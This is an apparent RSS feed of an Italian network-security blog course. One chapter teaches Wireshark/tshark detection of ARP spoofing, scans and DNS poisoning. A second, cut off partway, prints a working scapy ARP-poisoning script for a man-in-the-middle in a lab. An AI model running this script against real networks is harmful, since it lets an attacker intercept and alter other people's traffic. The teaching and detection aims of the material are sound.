<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>Packet Analysis on My personal blog</title>
        <link>https://www.matteobianchi.eu/tags/packet-analysis/</link>
        <description>Recent content in Packet Analysis on My personal blog</description>
        <generator>Hugo -- gohugo.io</generator>
        <language>en</language>
        <lastBuildDate>Tue, 29 Sep 2026 09:00:00 +0200</lastBuildDate><atom:link href="https://www.matteobianchi.eu/tags/packet-analysis/index.xml" rel="self" type="application/rss+xml" /><item>
        <title>Analisi dei pacchetti con Wireshark</title>
        <link>https://www.matteobianchi.eu/p/packet-analysis-wireshark/</link>
        <pubDate>Tue, 29 Sep 2026 09:00:00 +0200</pubDate>
        
        <guid>https://www.matteobianchi.eu/p/packet-analysis-wireshark/</guid>
        <description>&lt;img src="https://www.matteobianchi.eu/p/packet-analysis-wireshark/cover.png" alt="Featured image of post Analisi dei pacchetti con Wireshark" /&gt;&lt;h2 id=&#34;perché-conta&#34;&gt;Perché conta
&lt;/h2&gt;&lt;p&gt;Ogni capitolo finora ha prodotto traffico: ARP falsi, scan, query DNS avvelenate, SYN flood. Un
file di cattura — un &lt;strong&gt;pcap&lt;/strong&gt; — li contiene tutti, byte per byte. Saper leggere un pcap è
l&amp;rsquo;abilità che chiude il cerchio: è così che dopo un incidente si ricostruisce cosa è successo, ed
è il modo migliore per &lt;strong&gt;capire davvero&lt;/strong&gt; i protocolli, vedendoli al lavoro invece che descritti.&lt;/p&gt;
&lt;p&gt;Wireshark è lo strumento grafico; &lt;code&gt;tshark&lt;/code&gt; è la sua versione da riga di comando, utile nel lab e
negli script. Tutte le catture di questo capitolo si producono nel lab containerlab rifacendo gli
attacchi dei capitoli precedenti.&lt;/p&gt;
&lt;h2 id=&#34;un-metodo-non-clic-a-caso&#34;&gt;Un metodo, non clic a caso
&lt;/h2&gt;&lt;p&gt;Aprire un pcap da 200.000 pacchetti e scorrere a caso non porta da nessuna parte. Il metodo è
sempre lo stesso, dal generale al particolare:&lt;/p&gt;
&lt;pre class=&#34;mermaid&#34;&gt;
  flowchart TD
    A[&amp;#34;1. Panoramica&amp;lt;br/&amp;gt;Statistics &amp;gt; Protocol Hierarchy&amp;#34;] --&amp;gt; B[&amp;#34;2. Chi parla con chi&amp;lt;br/&amp;gt;Statistics &amp;gt; Conversations&amp;#34;]
    B --&amp;gt; C[&amp;#34;3. Isola con un display filter&amp;lt;br/&amp;gt;riduci a ciò che conta&amp;#34;]
    C --&amp;gt; D[&amp;#34;4. Segui il flusso&amp;lt;br/&amp;gt;Follow TCP/UDP Stream&amp;#34;]
    D --&amp;gt; E[&amp;#34;5. Conclusione&amp;lt;br/&amp;gt;cosa è successo, con prove&amp;#34;]
&lt;/pre&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Protocol Hierarchy&lt;/strong&gt; dice di che traffico è fatto la cattura: tanto ARP? un picco di DNS? È la
prima anomalia da cercare.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Conversations&lt;/strong&gt; elenca le coppie di host e quanto traffico scambiano: un host che parla con
tutti gli altri è sospetto.&lt;/li&gt;
&lt;li&gt;I &lt;strong&gt;display filter&lt;/strong&gt; riducono il rumore. Sono la vera competenza di Wireshark.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Follow Stream&lt;/strong&gt; ricostruisce una conversazione intera come la vedrebbe un&amp;rsquo;applicazione.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&#34;filtri-di-cattura-e-filtri-di-visualizzazione&#34;&gt;Filtri di cattura e filtri di visualizzazione
&lt;/h2&gt;&lt;p&gt;Due sistemi diversi, spesso confusi:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Capture filter&lt;/strong&gt; (sintassi BPF, come tcpdump): decide cosa &lt;strong&gt;registrare&lt;/strong&gt;. Applicato prima,
non si può disfare. Es. &lt;code&gt;host 10.0.0.10&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Display filter&lt;/strong&gt; (sintassi Wireshark): decide cosa &lt;strong&gt;mostrare&lt;/strong&gt; di ciò che è già catturato.
Si cambia a piacere. Es. &lt;code&gt;ip.addr == 10.0.0.10 &amp;amp;&amp;amp; tcp.flags.syn == 1&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Si cattura largo e si filtra stretto: meglio avere tutto e nascondere, che scoprire dopo di non
aver registrato il pacchetto che serviva.&lt;/p&gt;
&lt;h2 id=&#34;ritrovare-gli-attacchi-della-serie&#34;&gt;Ritrovare gli attacchi della serie
&lt;/h2&gt;&lt;h3 id=&#34;arp-spoofing-capitolo-02&#34;&gt;ARP spoofing (capitolo 02)
&lt;/h3&gt;&lt;p&gt;Wireshark ha un rilevatore integrato. Il segno è lo stesso MAC che si annuncia per due IP diversi,
o un IP che cambia MAC:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;# display filter: tutte le reply ARP
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;arp.opcode == 2
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;Nel pannello &amp;ldquo;Expert Information&amp;rdquo; compare l&amp;rsquo;avviso &lt;code&gt;duplicate IP address configured&lt;/code&gt;: è l&amp;rsquo;ARP
spoofing visto dall&amp;rsquo;analizzatore. In &lt;code&gt;tshark&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;tshark -r cattura.pcap -Y &lt;span class=&#34;s1&#34;&gt;&amp;#39;arp.duplicate-address-detected&amp;#39;&lt;/span&gt; -T fields -e arp.src.proto_ipv4 -e arp.src.hw_mac
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id=&#34;port-scan-syn-capitoli-04-05&#34;&gt;Port scan SYN (capitoli 04-05)
&lt;/h3&gt;&lt;p&gt;Un singolo host che invia tanti SYN a porte diverse senza completare gli handshake:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;tcp.flags.syn == 1 &amp;amp;&amp;amp; tcp.flags.ack == 0
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;In Conversations si vede un host con centinaia di connessioni, ognuna di pochi pacchetti: lo schema
dello scan.&lt;/p&gt;
&lt;h3 id=&#34;dns-poisoning-capitolo-07&#34;&gt;DNS poisoning (capitolo 07)
&lt;/h3&gt;&lt;p&gt;Due risposte per la stessa query con IP diversi, o una risposta che arriva prima della domanda al
server reale:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;dns.flags.response == 1 &amp;amp;&amp;amp; dns.qry.name == &amp;#34;banca.it&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;Confrontare l&amp;rsquo;IP nella risposta con quello atteso rivela la falsificazione.&lt;/p&gt;
&lt;h2 id=&#34;tshark-nel-lab&#34;&gt;tshark nel lab
&lt;/h2&gt;&lt;p&gt;&lt;code&gt;tshark&lt;/code&gt; rende l&amp;rsquo;analisi riproducibile e scriptabile. Esempi utili:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;6
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;7
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;8
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;9
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# le 10 conversazioni più voluminose&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;tshark -r cattura.pcap -q -z conv,ip
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# gerarchia dei protocolli (la panoramica, da riga di comando)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;tshark -r cattura.pcap -q -z io,phs
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# estrarre tutte le query DNS con l&amp;#39;IP di risposta&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;tshark -r cattura.pcap -Y &lt;span class=&#34;s1&#34;&gt;&amp;#39;dns.flags.response==1&amp;#39;&lt;/span&gt; &lt;span class=&#34;se&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;se&#34;&gt;&lt;/span&gt;  -T fields -e dns.qry.name -e dns.a
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id=&#34;un-caso-completo&#34;&gt;Un caso completo
&lt;/h2&gt;&lt;p&gt;Mettiamo insieme il metodo su una cattura prodotta nel lab durante un ARP spoofing:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Protocol Hierarchy&lt;/strong&gt;: una quota di ARP molto più alta del normale. Sospetto.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Conversations / ARP&lt;/strong&gt;: un MAC (l&amp;rsquo;attaccante) invia reply per due IP, il gateway e la vittima.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Filtro&lt;/strong&gt; &lt;code&gt;arp.opcode == 2&lt;/code&gt;: si vedono le reply non richieste, ripetute ogni paio di secondi.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Follow Stream&lt;/strong&gt; su una connessione TCP della vittima: i pacchetti passano fisicamente dal MAC
dell&amp;rsquo;attaccante, pur essendo indirizzati al gateway.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Conclusione&lt;/strong&gt;: ARP spoofing in corso dall&amp;rsquo;host con quel MAC, con prova nei pacchetti e negli
orari.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&#34;lab&#34;&gt;Lab
&lt;/h2&gt;&lt;ol&gt;
&lt;li&gt;Nel lab, avviate una cattura (&lt;code&gt;tshark -i &amp;lt;switch-port&amp;gt; -w caso.pcap&lt;/code&gt;) e lanciate uno degli
attacchi dei capitoli 02, 04 o 07.&lt;/li&gt;
&lt;li&gt;Fermate la cattura e apritela in Wireshark.&lt;/li&gt;
&lt;li&gt;Applicate il metodo in cinque passi e scrivete una conclusione in tre righe: chi, cosa, con
quale prova.&lt;/li&gt;
&lt;li&gt;Rifatelo per un secondo attacco, senza sapere in anticipo quale: alleno il riconoscimento.&lt;/li&gt;
&lt;/ol&gt;


&lt;details&gt;
&lt;summary&gt;&lt;strong&gt;Domanda:&lt;/strong&gt; in una cattura fatta su una porta normale dello switch, perché potreste non vedere il traffico tra altri due host?&lt;/summary&gt;
&lt;p&gt;Perché uno switch, a differenza di un hub, inoltra i frame solo alla porta del destinatario: sulla
vostra porta arriva solo il vostro traffico (più broadcast e multicast). Per catturare il traffico
di altri host serve una &lt;strong&gt;porta mirror&lt;/strong&gt; (SPAN) configurata sullo switch, che copia il
traffico di altre porte verso la vostra. È lo stesso motivo per cui l&#39;IDS del
&lt;a href=&#34;https://www.matteobianchi.eu/p/ids-ips-suricata/&#34;&gt;capitolo 05&lt;/a&gt; in modalità passiva ha bisogno di una porta mirror.
Paradossalmente, durante un MAC flooding riuscito (capitolo 02) vedreste &lt;em&gt;tutto&lt;/em&gt;, perché lo
switch degradato si comporta come un hub: la stessa anomalia è sia l&#39;attacco sia il sintomo.&lt;/p&gt;
&lt;/details&gt;


&lt;h2 id=&#34;conclusione&#34;&gt;Conclusione
&lt;/h2&gt;&lt;p&gt;L&amp;rsquo;analisi dei pacchetti è l&amp;rsquo;abilità che unisce la serie: ogni attacco studiato lascia una traccia
riconoscibile nel pcap, e un metodo ordinato — panoramica, conversazioni, filtro, flusso,
conclusione — la trova senza affogare nei dati. È anche il modo più efficace per interiorizzare i
protocolli: vederli, non leggerli.&lt;/p&gt;
&lt;p&gt;Resta un ultimo passo: mettere insieme tutto in un ambiente permanente dove continuare a
sperimentare. Il prossimo e ultimo capitolo costruisce l&amp;rsquo;homelab completo.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Prossimo nella serie:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.matteobianchi.eu/p/building-a-security-homelab/&#34; &gt;11 · Un homelab per la sicurezza&lt;/a&gt; ·
&lt;a class=&#34;link&#34; href=&#34;https://www.matteobianchi.eu/p/network-security-roadmap/&#34; &gt;Torna alla roadmap&lt;/a&gt;&lt;/p&gt;
</description>
        </item>
        <item>
        <title>Attacchi a livello 2: ARP spoofing, MAC flooding e DHCP starvation</title>
        <link>https://www.matteobianchi.eu/p/layer2-attacks-arp-spoofing/</link>
        <pubDate>Tue, 04 Aug 2026 09:00:00 +0200</pubDate>
        
        <guid>https://www.matteobianchi.eu/p/layer2-attacks-arp-spoofing/</guid>
        <description>&lt;img src="https://www.matteobianchi.eu/p/layer2-attacks-arp-spoofing/cover.png" alt="Featured image of post Attacchi a livello 2: ARP spoofing, MAC flooding e DHCP starvation" /&gt;&lt;h2 id=&#34;perché-conta&#34;&gt;Perché conta
&lt;/h2&gt;&lt;p&gt;Nel &lt;a class=&#34;link&#34; href=&#34;https://www.matteobianchi.eu/p/threat-modeling-networks/&#34; &gt;capitolo precedente&lt;/a&gt; la minaccia con rischio
più alto dopo la rete ospiti era la T2: un dispositivo già dentro la LAN che si mette in mezzo al
traffico. Qui la rendiamo concreta.&lt;/p&gt;
&lt;p&gt;Lo strato 2 è quello che quasi nessuno guarda. Un firewall perimetrale non vede cosa succede
&lt;em&gt;dentro&lt;/em&gt; la LAN, e i protocolli di livello 2 — ARP, DHCP — sono nati negli anni &amp;lsquo;80 senza nessuna
autenticazione. Chi riesce a collegarsi a una porta dello switch può, con pochi pacchetti,
diventare l&amp;rsquo;uomo nel mezzo tra due macchine che si credono sole.&lt;/p&gt;
&lt;p&gt;Tutti gli esempi girano nel lab containerlab descritto nella
&lt;a class=&#34;link&#34; href=&#34;https://www.matteobianchi.eu/p/network-security-roadmap/&#34; &gt;roadmap&lt;/a&gt;: tre nodi (&lt;code&gt;attacker&lt;/code&gt;, &lt;code&gt;victim&lt;/code&gt;,
&lt;code&gt;gateway&lt;/code&gt;) attaccati a uno switch Open vSwitch. Non provate nulla di questo su una rete che non è
vostra.&lt;/p&gt;
&lt;h2 id=&#34;arp-spoofing-avvelenare-la-cache&#34;&gt;ARP spoofing: avvelenare la cache
&lt;/h2&gt;&lt;h3 id=&#34;come-funziona&#34;&gt;Come funziona
&lt;/h3&gt;&lt;p&gt;Quando &lt;code&gt;victim&lt;/code&gt; (10.0.0.10) vuole parlare con &lt;code&gt;gateway&lt;/code&gt; (10.0.0.1), non conosce il suo indirizzo
MAC. Manda in broadcast una richiesta ARP: &amp;ldquo;chi ha 10.0.0.1?&amp;rdquo;. Il gateway risponde con il suo MAC,
e la vittima lo mette in cache. Il problema: ARP accetta anche risposte che nessuno ha chiesto, e
non verifica chi le manda.&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;attaccante sfrutta proprio questo. Invia alla vittima una risposta ARP falsa — &amp;ldquo;10.0.0.1 sono
io&amp;rdquo; — e al gateway un&amp;rsquo;altra — &amp;ldquo;10.0.0.10 sono io&amp;rdquo;. Da quel momento tutto il traffico tra i due
passa dall&amp;rsquo;attaccante.&lt;/p&gt;
&lt;pre class=&#34;mermaid&#34;&gt;
  sequenceDiagram
    participant V as victim 10.0.0.10
    participant A as attacker 10.0.0.66
    participant G as gateway 10.0.0.1
    Note over A: invia ARP reply falsi, ripetuti
    A-&amp;gt;&amp;gt;V: 10.0.0.1 is-at MAC_attacker
    A-&amp;gt;&amp;gt;G: 10.0.0.10 is-at MAC_attacker
    V-&amp;gt;&amp;gt;A: traffico per il gateway (crede sia G)
    A-&amp;gt;&amp;gt;G: lo inoltra (resta in mezzo)
    G-&amp;gt;&amp;gt;A: risposte per la vittima
    A-&amp;gt;&amp;gt;V: le inoltra
    Note over A: legge e può modificare tutto
&lt;/pre&gt;

&lt;h3 id=&#34;lattacco&#34;&gt;L&amp;rsquo;attacco
&lt;/h3&gt;&lt;p&gt;Con scapy bastano poche righe. Lo script manda una coppia di reply falsi ogni due secondi, perché
le cache ARP scadono e vanno &amp;ldquo;rinfrescate&amp;rdquo;:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt; 1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 6
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 7
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 8
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 9
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;10
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;11
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;12
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kn&#34;&gt;from&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;scapy.all&lt;/span&gt; &lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ARP&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;send&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;victim&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;gateway&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;10.0.0.10&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;10.0.0.1&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;def&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;poison&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;():&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;# op=2 è una ARP reply; psrc è l&amp;#39;IP che fingiamo di essere&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;send&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ARP&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;op&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;pdst&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;victim&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;  &lt;span class=&#34;n&#34;&gt;psrc&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;gateway&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;),&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;verbose&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;kc&#34;&gt;False&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;send&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ARP&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;op&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;pdst&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;gateway&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;psrc&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;victim&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;),&lt;/span&gt;  &lt;span class=&#34;n&#34;&gt;verbose&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;kc&#34;&gt;False&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;while&lt;/span&gt; &lt;span class=&#34;kc&#34;&gt;True&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;poison&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nb&#34;&gt;__import__&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;time&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;sleep&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;Perché l&amp;rsquo;attaccante possa restare in mezzo e non interrompere la connessione, deve inoltrare i
pacchetti che riceve:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
